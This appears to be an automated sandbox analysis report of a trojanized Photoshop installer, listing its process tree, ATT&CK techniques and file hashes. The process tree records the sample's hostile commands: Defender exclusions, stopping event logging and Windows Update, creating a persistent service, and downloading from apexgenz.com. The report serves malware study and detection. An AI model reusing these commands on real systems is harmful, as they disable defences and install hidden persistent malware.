        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:2060
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        7⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:6104
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        7⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:2908
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        7⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:6032
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "OZLCSUZD"
        7⤵
        Launches sc.exe
        
        PID:5164
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "OZLCSUZD" binpath= "C:\ProgramData\cwsdjtkixutq\kuytqawknxye.exe" start= "auto"
        7⤵
        Launches sc.exe
        
        PID:376
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        7⤵
        Launches sc.exe
        
        PID:1392
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "OZLCSUZD"
        7⤵
        Launches sc.exe
        
        PID:4944
      - C:\Users\Admin\AppData\Roaming\services\wget.exe
        
        "C:\Users\Admin\AppData\Roaming\services\wget.exe" ping --content-disposition http://apexgenz.com/3/1 -P C:\Users\Admin\AppData\Roaming\services
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:5476
      - C:\Users\Admin\AppData\Roaming\services\winrar.exe
        
        "C:\Users\Admin\AppData\Roaming\services\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\services\03plugins*.* "3plugin*" C:\Users\Admin\AppData\Roaming\services
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3968
      - C:\Users\Admin\AppData\Roaming\services\3plugin13200
        
        C:\Users\Admin\AppData\Roaming\services\3plugin13200
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:6124
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6124 -s 860
        7⤵
        Program crash
        
        PID:5864
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6124 -s 908
        7⤵
        Program crash
        
        PID:5856
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6124 -s 976
        7⤵
        Program crash
        
        PID:6132
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6124 -s 1052
        7⤵
        Program crash
        
        PID:4576
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6124 -s 1056
        7⤵
        Program crash
        
        PID:3328
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6124 -s 1056
        7⤵
        Program crash
        
        PID:3596
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6124 -s 1212
        7⤵
        Program crash
        
        PID:5192
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6124 -s 1252
        7⤵
        Program crash
        
        PID:4648
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6124 -s 1288
        7⤵
        Program crash
        
        PID:2908
        
        C:\Users\Admin\AppData\Local\Temp\PhotoshopTemp\3bca58cece\Hkbsse.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PhotoshopTemp\3bca58cece\Hkbsse.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3372
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3372 -s 688
        8⤵
        Program crash
        
        PID:4116
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3372 -s 720
        8⤵
        Program crash
        
        PID:5336
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3372 -s 744
        8⤵
        Program crash
        
        PID:2232
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3372 -s 896
        8⤵
        Program crash
        
        PID:6012
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3372 -s 940
        8⤵
        Program crash
        
        PID:5160
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3372 -s 896
        8⤵
        Program crash
        
        PID:1932
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3372 -s 972
        8⤵
        Program crash
        
        PID:2428
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3372 -s 1048
        8⤵
        Program crash
        
        PID:4680
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3372 -s 1048
        8⤵
        Program crash
        
        PID:4488
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3372 -s 1396
        8⤵
        Program crash
        
        PID:4312
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3372 -s 900
        8⤵
        Program crash
        
        PID:5424
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6124 -s 916
        7⤵
        Program crash
        
        PID:5296
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /K rd /s /q "C:\Users\Admin\AppData\Roaming\services" & EXIT
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:5380
- C:\Windows\SysWOW64\wscript.exe
  "C:\Windows\system32\wscript.exe" App/DefaultData/Settings/post.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4968

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SendNotifyMessage
PID:5148

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService
1⤵
PID:5736

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 5220 -ip 5220
1⤵
PID:408

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 6124 -ip 6124
1⤵
PID:2960

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 6124 -ip 6124
1⤵
PID:5712

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 6124 -ip 6124
1⤵
PID:5168

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 6124 -ip 6124
1⤵
PID:2744

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 6124 -ip 6124
1⤵
PID:2120

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 6124 -ip 6124
1⤵
PID:2312

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 6124 -ip 6124
1⤵
PID:5264

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 6124 -ip 6124
1⤵
PID:4896

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6124 -ip 6124
1⤵
PID:1732

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 6124 -ip 6124
1⤵
PID:4848

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 3372 -ip 3372
1⤵
PID:2812

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 3372 -ip 3372
1⤵
PID:4944

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 3372 -ip 3372
1⤵
PID:1992

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 3372 -ip 3372
1⤵
PID:4108

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 3372 -ip 3372
1⤵
PID:5528

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 3372 -ip 3372
1⤵
PID:5372

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 3372 -ip 3372
1⤵
PID:1940

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 3372 -ip 3372
1⤵
PID:5408

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 3372 -ip 3372
1⤵
PID:3168

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 3372 -ip 3372
1⤵
PID:5572

C:\ProgramData\cwsdjtkixutq\kuytqawknxye.exe
C:\ProgramData\cwsdjtkixutq\kuytqawknxye.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
PID:5484
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:5416
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:2632
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:3772
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:4368
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:1448
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:828
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:640
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:3252
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:4996
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:4516
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:5404
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:6124
- C:\Windows\system32\dwm.exe
  dwm.exe
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2652

C:\Users\Admin\AppData\Local\Temp\PhotoshopTemp\3bca58cece\Hkbsse.exe
C:\Users\Admin\AppData\Local\Temp\PhotoshopTemp\3bca58cece\Hkbsse.exe
1⤵
- Executes dropped EXE
PID:2312
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2312 -s 448
  2⤵
  - Program crash
  PID:964

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 2312 -ip 2312
1⤵
PID:5264

C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
1⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:5220

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:4576

C:\Users\Admin\AppData\Local\Temp\PhotoshopTemp\3bca58cece\Hkbsse.exe
C:\Users\Admin\AppData\Local\Temp\PhotoshopTemp\3bca58cece\Hkbsse.exe
1⤵
- Executes dropped EXE
PID:1252
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1252 -s 436
  2⤵
  - Program crash
  PID:768

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x410 0x240
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2772

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 1252 -ip 1252
1⤵
PID:2728

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 3372 -ip 3372
1⤵
PID:3108

C:\Users\Admin\AppData\Local\Temp\PhotoshopTemp\3bca58cece\Hkbsse.exe
C:\Users\Admin\AppData\Local\Temp\PhotoshopTemp\3bca58cece\Hkbsse.exe
1⤵
- Executes dropped EXE
PID:5656
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 5656 -s 444
  2⤵
  - Program crash
  PID:4516

C:\Windows\system32\wbem\WMIADAP.EXE
wmiadap.exe /R /T
1⤵
- Drops file in System32 directory
PID:6012

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 5656 -ip 5656
1⤵
PID:1020

C:\Users\Admin\Downloads\Adobe_Photoshop (1)\Photoshoр.exe
"C:\Users\Admin\Downloads\Adobe_Photoshop (1)\Photoshoр.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:5892
- C:\Users\Admin\Downloads\Adobe_Photoshop (1)\App\AfterFX\Photoshop64.exe
  "C:\Users\Admin\Downloads\Adobe_Photoshop (1)\App\AfterFX\Photoshop64.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3576
- C:\Windows\SysWOW64\wscript.exe
  "C:\Windows\system32\wscript.exe" App/DefaultData/Settings/post.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2748

C:\Users\Admin\Downloads\Adobe_Photoshop (1)\Photoshoр.exe
"C:\Users\Admin\Downloads\Adobe_Photoshop (1)\Photoshoр.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:5636
- C:\Users\Admin\Downloads\Adobe_Photoshop (1)\App\AfterFX\Photoshop64.exe
  "C:\Users\Admin\Downloads\Adobe_Photoshop (1)\App\AfterFX\Photoshop64.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3236
- C:\Windows\SysWOW64\wscript.exe
  "C:\Windows\system32\wscript.exe" App/DefaultData/Settings/post.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:116

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Power Settings

T1653

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\7-Zip\7-zip.chm

Filesize
117KB

MD5
b79894fbee3c882c3efc71ff3d4a21bb

SHA1
8bb4fa0e32cc892f8be396dbaa35acef7a53e36e

SHA256
2d55ca494a8b6dcc739d84bdd112f5c50d612f8abf409c9fb5f2b5c2c84c37a0

SHA512
b66a75ee3831c56967e2c64f8c9ba434f3cd9e4dc4c4fa79580e5ef81e8595863a477ce487921d46891bffcb31c6d45ea332e441c5c26df9a1ee59c0769f32b6

Download Submit
C:\Program Files\7-Zip\7zFM.exe

Filesize
960KB

MD5
79e8ca28aef2f3b1f1484430702b24e1

SHA1
76087153a547ce3f03f5b9de217c9b4b11d12f22

SHA256
5bc65256b92316f7792e27b0111e208aa6c27628a79a1dec238a4ad1cc9530f7

SHA512
b8426b44260a3adcbeaa38c5647e09a891a952774ecd3e6a1b971aef0e4c00d0f2a2def9965ee75be6c6494c3b4e3a84ce28572e376d6c82db0b53ccbbdb1438

Download Submit
C:\Program Files\7-Zip\History.txt

Filesize
6KB

MD5
553a02739d516379833451440076f884

SHA1
27a428d5eb9f961d6461f94aa3e414f0e3697296

SHA256
83b1ae6d3486c2653766a28806ac110c9a0afde17020ca6aa0b7550a2f10e147

SHA512
be3cff1e392f4216310b455d73e86b485245ebd9c94bc370233c130e14fc97f92fa1c74567025f506d42eadfc21cc1d7f845d76607bb933a1c654fb7a493796f

Download Submit
C:\Program Files\7-Zip\Lang\af.txt

Filesize
4KB

MD5
df216fae5b13d3c3afe87e405fd34b97

SHA1
787ccb4e18fc2f12a6528adbb7d428397fc4678a

SHA256
9cf684ea88ea5a479f510750e4089aee60bbb2452aa85285312bafcc02c10a34

SHA512
a6eee3d60b88f9676200b40ca9c44cc4e64cf555d9b8788d4fde05e05b8ca5da1d2c7a72114a18358829858d10f2beff094afd3bc12b370460800040537cff68

Download Submit
C:\Program Files\7-Zip\Lang\an.txt

Filesize
7KB

MD5
f16218139e027338a16c3199091d0600

SHA1
da48140a4c033eea217e97118f595394195a15d5

SHA256
3ab9f7aacd38c4cde814f86bc37eec2b9df8d0dddb95fc1d09a5f5bcb11f0eeb

SHA512
b2e99d70d1a7a2a1bfa2ffb61f3ca2d1b18591c4707e4c6c5efb9becdd205d646b3baa0e8cbd28ce297d7830d3dfb8f737266c66e53a83bdbe58b117f8e3ae14

Download Submit
C:\Program Files\7-Zip\Lang\ar.txt

Filesize
12KB

MD5
5747381dc970306051432b18fb2236f2

SHA1
20c65850073308e498b63e5937af68b2e21c66f3

SHA256
85a26c7b59d6d9932f71518ccd03eceeba42043cb1707719b72bfc348c1c1d72

SHA512
3306e15b2c9bb2751b626f6f726de0bcafdc41487ba11fabfcef0a6a798572b29f2ee95384ff347b3b83b310444aaeec23e12bb3ddd7567222a0dd275b0180ff

Download Submit
C:\Program Files\7-Zip\Lang\ast.txt

Filesize
4KB

MD5
1cf6411ff9154a34afb512901ba3ee02

SHA1
958f7ff322475f16ca44728349934bc2f7309423

SHA256
f5f2174daf36e65790c7f0e9a4496b12e14816dad2ee5b1d48a52307076be35f

SHA512
b554c1ab165a6344982533cceed316d7f73b5b94ce483b5dc6fb1f492c6b1914773027d31c35d60ab9408669520ea0785dc0d934d3b2eb4d78570ff7ccbfcf9c

Download Submit
C:\Program Files\7-Zip\Lang\az.txt

Filesize
9KB

MD5
3c297fbe9b1ed5582beabfc112b55523

SHA1
c605c20acf399a90ac9937935b4dbdb64fad9c9f

SHA256
055ec86aed86abbdbd52d8e99fec6e868d073a6df92c60225add16676994c314

SHA512
417984a749471770157c44737ee76bfd3655ef855956be797433dadc2a71e12359454cc817b5c31c6af811067d658429a8706e15625bf4ca9f0db7586f0ae183

Download Submit
C:\Program Files\7-Zip\Lang\ba.txt

Filesize
10KB

MD5
387ff78cf5f524fc44640f3025746145

SHA1
8480e549d00003de262b54bc342af66049c43d3b

SHA256
8a85c3fcb5f81157490971ee4f5e6b9e4f80be69a802ebed04e6724ce859713f

SHA512
7851633ee62c00fa2c68f6f59220a836307e6dde37eae5e5dca3ca254d167e305fe1eb342f93112032dadafe9e9608c97036ac489761f7bdc776a98337152344

Download Submit
C:\Program Files\7-Zip\Lang\be.txt

Filesize
11KB

MD5
b1dd654e9d8c8c1b001f7b3a15d7b5d3

SHA1
5a933ae8204163c90c00d97ba0c589f4d9f3f532

SHA256
32071222af04465a3d98bb30e253579aa4beceaeb6b21ac7c15b25f46620bf30

SHA512
0137900aeb21f53e4af4027ea15eed7696ed0156577fe6194c2b2097f5fb9d201e7e9d52a51a26ae9a426f8137692154d80676f8705f335fed9ae7e0e1d0a10e

Download Submit
C:\Program Files\7-Zip\Lang\bg.txt

Filesize
17KB

MD5
2d0c8197d84a083ef904f8f5608afe46

SHA1
5ae918d2bb3e9337538ef204342c5a1d690c7b02

SHA256
62c6f410d011a109abecb79caa24d8aeb98b0046d329d611a4d07e66460eef3f

SHA512
3243d24bc9fdb59e1964e4be353c10b6e9d4229ef903a5ace9c0cb6e1689403173b11db022ca2244c1ef0f568be95f21915083a8c5b016f07752026d332878a4

Download Submit
C:\Program Files\7-Zip\Lang\bn.txt

Filesize
14KB

MD5
771c8b73a374cb30df4df682d9c40edf

SHA1
46aa892c3553bddc159a2c470bd317d1f7b8af2a

SHA256
3f55b2ec5033c39c159593c6f5ece667b92f32938b38fcaf58b4b2a98176c1fc

SHA512
8dcc9cc13322c4504ee49111e1f674809892900709290e58a4e219053b1f78747780e1266e1f4128c0c526c8c37b1a5d1a452eefba2890e3a5190eebe30657ba

Download Submit
C:\Program Files\7-Zip\Lang\br.txt

Filesize
4KB

MD5
07504a4edab058c2f67c8bcb95c605dd

SHA1
3e2ae05865fb474f10b396bfefd453c074f822fa

SHA256
432bdb3eaa9953b084ee14eee8fe0abbc1b384cbdd984ccf35f0415d45aabba8

SHA512
b3f54d695c2a12e97c93af4df09ce1800b49e40302bec7071a151f13866edfdfafc56f70de07686650a46a8664608d8d3ea38c2939f2f1630ce0bf968d669ccc

Download Submit
C:\Program Files\7-Zip\Lang\ca.txt

Filesize
8KB

MD5
264fb4b86bcfb77de221e063beebd832

SHA1
a2eb0a43ea4002c2d8b5817a207eb24296336a20

SHA256
07b5c0ac13d62882bf59db528168b6f0ffdf921d5442fae46319e84c90be3203

SHA512
8d1a73e902c50fd390b9372483ebd2ec58d588bacf0a3b8c8b9474657c67705b6a284bb16bba4326d314c7a3cc11caf320da38d5acb42e685ed2f8a8b6f411f4

Download Submit
C:\Program Files\7-Zip\Lang\co.txt

Filesize
11KB

MD5
de64842f09051e3af6792930a0456b16

SHA1
498b92a35f2a14101183ebe8a22c381610794465

SHA256
dcfb95b47a4435eb7504b804da47302d8a62bbe450dadf1a34baea51c7f60c77

SHA512
5dabeed739a753fd20807400dfc84f7bf1eb544704660a74afcf4e0205b7c71f1ddcf9f79ac2f7b63579735a38e224685b0125c49568cbde2d9d6add4c7d0ed8

Download Submit
C:\Program Files\7-Zip\Lang\cs.txt

Filesize
9KB

MD5
dbdcfc996677513ea17c583511a5323b

SHA1
d655664bc98389ed916bed719203f286bab79d3c

SHA256
a6e329f37aca346ef64f2c08cc36568d5383d5b325c0caf758857ed3ff3953f2

SHA512
df495a8e8d50d7ec24abb55ce66b7e9b8118af63db3eb2153a321792d809f7559e41de3a9c16800347623ab10292aac2e1761b716cb5080e99a5c8726f7cc113

Download Submit
C:\Program Files\7-Zip\Lang\cy.txt

Filesize
4KB

MD5
6bdf25354b531370754506223b146600

SHA1
c2487c59eeeaa5c0bdb19d826fb1e926d691358e

SHA256
470eaf5e67f5ead5b8c3ecc1b5b21b29d16c73591eb0047b681660346e25b3fb

SHA512
c357b07c176175cc36a85c42d91b0cada79dbfb584bdf57f22a6cb11898f88aecf4392037d5cea3e1bc02df7493bb27b9509226f810f1875105bbc33c6ae3f20

Download Submit
C:\Program Files\7-Zip\Lang\da.txt

Filesize
7KB

MD5
c397e8ac4b966e1476adbce006bb49e4

SHA1
3e473e3bc11bd828a1e60225273d47c8121f3f2c

SHA256
5ccd481367f7d8c544de6177187aff53f1143ae451ae755ce9ed9b52c5f5d478

SHA512
cbbece415d16b9984c82bd8fa4c03dbd1fec58ed04e9ef0a860b74d451d03d1c7e07b23b3e652374a3b9128a7987414074c2a281087f24a77873cc45ec5aadd2

Download Submit
C:\Program Files\7-Zip\Lang\de.txt

Filesize
9KB

MD5
1e30a705da680aaeceaec26dcf2981de

SHA1
965c8ed225fb3a914f63164e0df2d5a24255c3d0

SHA256
895f76bfa4b1165e4c5a11bdab70a774e7d05d4bbdaec0230f29dcc85d5d3563

SHA512
ff96e6578a1ee38db309e72a33f5de7960edcc260ca1f5d899a822c78595cc761fedbdcdd10050378c02d8a36718d76c18c6796498e2574501011f9d988da701

Download Submit
C:\Program Files\7-Zip\Lang\el.txt

Filesize
17KB

MD5
5894a446df1321fbdda52a11ff402295

SHA1
a08bf21d20f8ec0fc305c87c71e2c94b98a075a4

SHA256
2dd2130f94d31262b12680c080c96b38ad55c1007f9e610ec8473d4bb13d2908

SHA512
0a2c3d24e7e9add3ca583c09a63ba130d0088ed36947b9f7b02bb48be4d30ef8dc6b8d788535a941f74a7992566b969adf3bd729665e61bfe22b67075766f8de

Download Submit
C:\Program Files\7-Zip\Lang\en.ttt

Filesize
7KB

MD5
bf2e140e9d30d6c51d372638ba7f4bd9

SHA1
a4358379a21a050252d738f6987df587c0bd373d

SHA256
c218145bb039e1fd042fb1f5425b634a4bdc1f40b13801e33ed36cfdbda063ed

SHA512
b524388f7476c9a43e841746764ff59bdb1f8a1b4299353156081a854ee4435b94b34b1a87c299ec23f8909e0652222595b3177ee0392e3b8c0ff0a818db7f9a

Download Submit
C:\Program Files\7-Zip\Lang\eo.txt

Filesize
4KB

MD5
29caad3b73f6557f0306f4f6c6338235

SHA1
d4b3147f23c75de84287ad501e7403e0fce69921

SHA256
a6ef5a5a1e28d406fd78079d9cacf819b047a296adc7083d34f2bfb3d071e5af

SHA512
77618995d9cf90603c5d4ad60262832d8ad64c91a5e6944efd447a5cc082a381666d986bb294d7982c8721b0113f867b86490ca11bb3d46980132c9e4df1bd92

Download Submit
C:\Program Files\7-Zip\Lang\es.txt

Filesize
10KB

MD5
ed230f9f52ef20a79c4bed8a9fefdf21

SHA1
ec0153260b58438ad17faf1a506b22ad0fec1bdc

SHA256
7199b362f43e9dca2049c0eeb8b1bb443488ca87e12d7dda0f717b2adbdb7f95

SHA512
32f0e954235420a535291cf58b823baacf4a84723231a8636c093061a8c64fcd0952c414fc5bc7080fd8e93f050505d308e834fea44b8ab84802d8449f076bc9

Download Submit
C:\Program Files\7-Zip\Lang\et.txt

Filesize
6KB

MD5
d6a50c4139d0973776fc294ee775c2ac

SHA1
1881d68ae10d7eb53291b80bd527a856304078a0

SHA256
6b2718882bb47e905f1fdd7b75ece5cc233904203c1407c6f0dcdc5e08e276da

SHA512
0fd14b4fd9b613d04ef8747dcd6a47f6f7777ac35c847387c0ea4b217f198aa8ac54ea1698419d4122b808f852e9110d1780edcb61a4057c1e2774aa5382e727

Download Submit
C:\Program Files\7-Zip\Lang\eu.txt

Filesize
8KB

MD5
c90cd9f1e3d05b80aba527eb765cbf13

SHA1
66d1e1b250e2288f1e81322edc3a272fc4d0fffc

SHA256
a1c9d46b0639878951538f531bba69aeddd61e6ad5229e3bf9c458196851c7d8

SHA512
439375d01799da3500dfa48c54eb46f7b971a299dfebff31492f39887d53ed83df284ef196eb8bc07d99d0ec92be08a1bf1a7dbf0ce9823c85449cc6f948f24c

Download Submit
C:\Program Files\7-Zip\Lang\ext.txt

Filesize
7KB

MD5
459b9c72a423304ffbc7901f81588337

SHA1
0ba0a0d9668c53f0184c99e9580b90ff308d79be

SHA256
8075fd31b4ebb54603f69abb59d383dcef2f5b66a9f63bb9554027fd2949671c

SHA512
033ced457609563e0f98c66493f665b557ddd26fab9a603e9de97978d9f28465c5ac09e96f5f8e0ecd502d73df29305a7e2b8a0ad4ee50777a75d6ab8d996d7f

Download Submit
C:\Program Files\7-Zip\Lang\fa.txt

Filesize
12KB

MD5
741e0235c771e803c1b2a0b0549eac9d

SHA1
7839ae307e2690721ad11143e076c77d3b699a3c

SHA256
